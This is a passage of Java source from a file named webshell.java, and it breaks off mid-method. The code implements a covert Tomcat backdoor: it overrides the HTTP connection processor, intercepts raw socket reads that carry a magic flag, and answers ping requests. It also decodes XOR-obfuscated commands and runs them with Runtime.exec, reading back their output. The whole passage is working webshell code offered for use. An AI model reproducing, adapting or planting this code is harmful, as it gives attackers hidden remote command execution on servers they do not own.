Method createProcessor

src/main/java/org/example/webshell.java:46–144

()

            AbstractEndpoint endpoint1 = (AbstractEndpoint) endpoint.get(protocol);
            Http11NioProtocol protocol1 = new Http11NioProtocol() {
                @Override
                protected Processor createProcessor() {
                    Http11Processor http11Processor = new Http11Processor(protocol.getMaxHttpHeaderSize(),
                            protocol.getAllowHostHeaderMismatch(),
                            protocol.getRejectIllegalHeaderName(), endpoint1,
                            protocol.getMaxTrailerSize(),
                            Collections.singleton(protocol.getAllowedTrailerHeaders()),
                            protocol.getMaxExtensionSize(),
                            protocol.getMaxSwallowSize(),
                            null,
                            protocol.getSendReasonPhrase(),
                            protocol.getRelaxedPathChars(),
                            protocol.getRelaxedQueryChars()) {
                        @Override
                        public AbstractEndpoint.Handler.SocketState process(SocketWrapperBase<?> socketWrapper,
                                                                            SocketEvent status) throws IOException {
                            if (status == SocketEvent.OPEN_READ) {
                                ByteBuffer buffer = ByteBuffer.allocate(4);
//                                socketWrapper.read(false, buffer);
                                ByteBuffer readBuffer = socketWrapper.getSocketBufferHandler().getReadBuffer();
                                // WebShell的flag
                                int read = socketWrapper.read(true, buffer);
                                if (read < 4) {
                                    readBuffer.position(0);
                                    return super.process(socketWrapper, status);
                                }
                                if (!tlv.validate(buffer.array())) {
                                    readBuffer.position(0);
                                    return service(socketWrapper);
                                }
                                // 获取长度
                                switch (readBuffer.get()) {
                                    // 执行ping检测
                                    case 0x01:
                                        byte[] encode = new tlv.Response((byte) 0x01, (byte) 0x00, null).encode();
                                        socketWrapper.write(false, ByteBuffer.wrap(encode));
                                        socketWrapper.flush(false);
                                        return AbstractEndpoint.Handler.SocketState.CLOSED;
                                    case 0x02:
                                        // 读取长度
                                        byte[] lengthBytes = new byte[4];
                                        readBuffer.get(lengthBytes);
                                        int length = ((lengthBytes[0] & 0xFF) << 24) |
                                                ((lengthBytes[1] & 0xFF) << 16) |
                                                ((lengthBytes[2] & 0xFF) << 8) |
                                                (lengthBytes[3] & 0xFF);
                                        // 读取数据
                                        if (length > 0) {
                                            byte[] data = new byte[length];
                                            readBuffer.get(data);
                                            String command = new String(tlv.xorProcess(data));
                                            Process exec = Runtime.getRuntime().exec(command);

                                            // 读取命令执行结果
                                            java.io.InputStream processInputStream = exec.getInputStream();
                                            java.io.ByteArrayOutputStream result = new java.io.ByteArrayOutputStream();
                                            byte[] tempBuffer = new byte[1024];
                                            int readLength;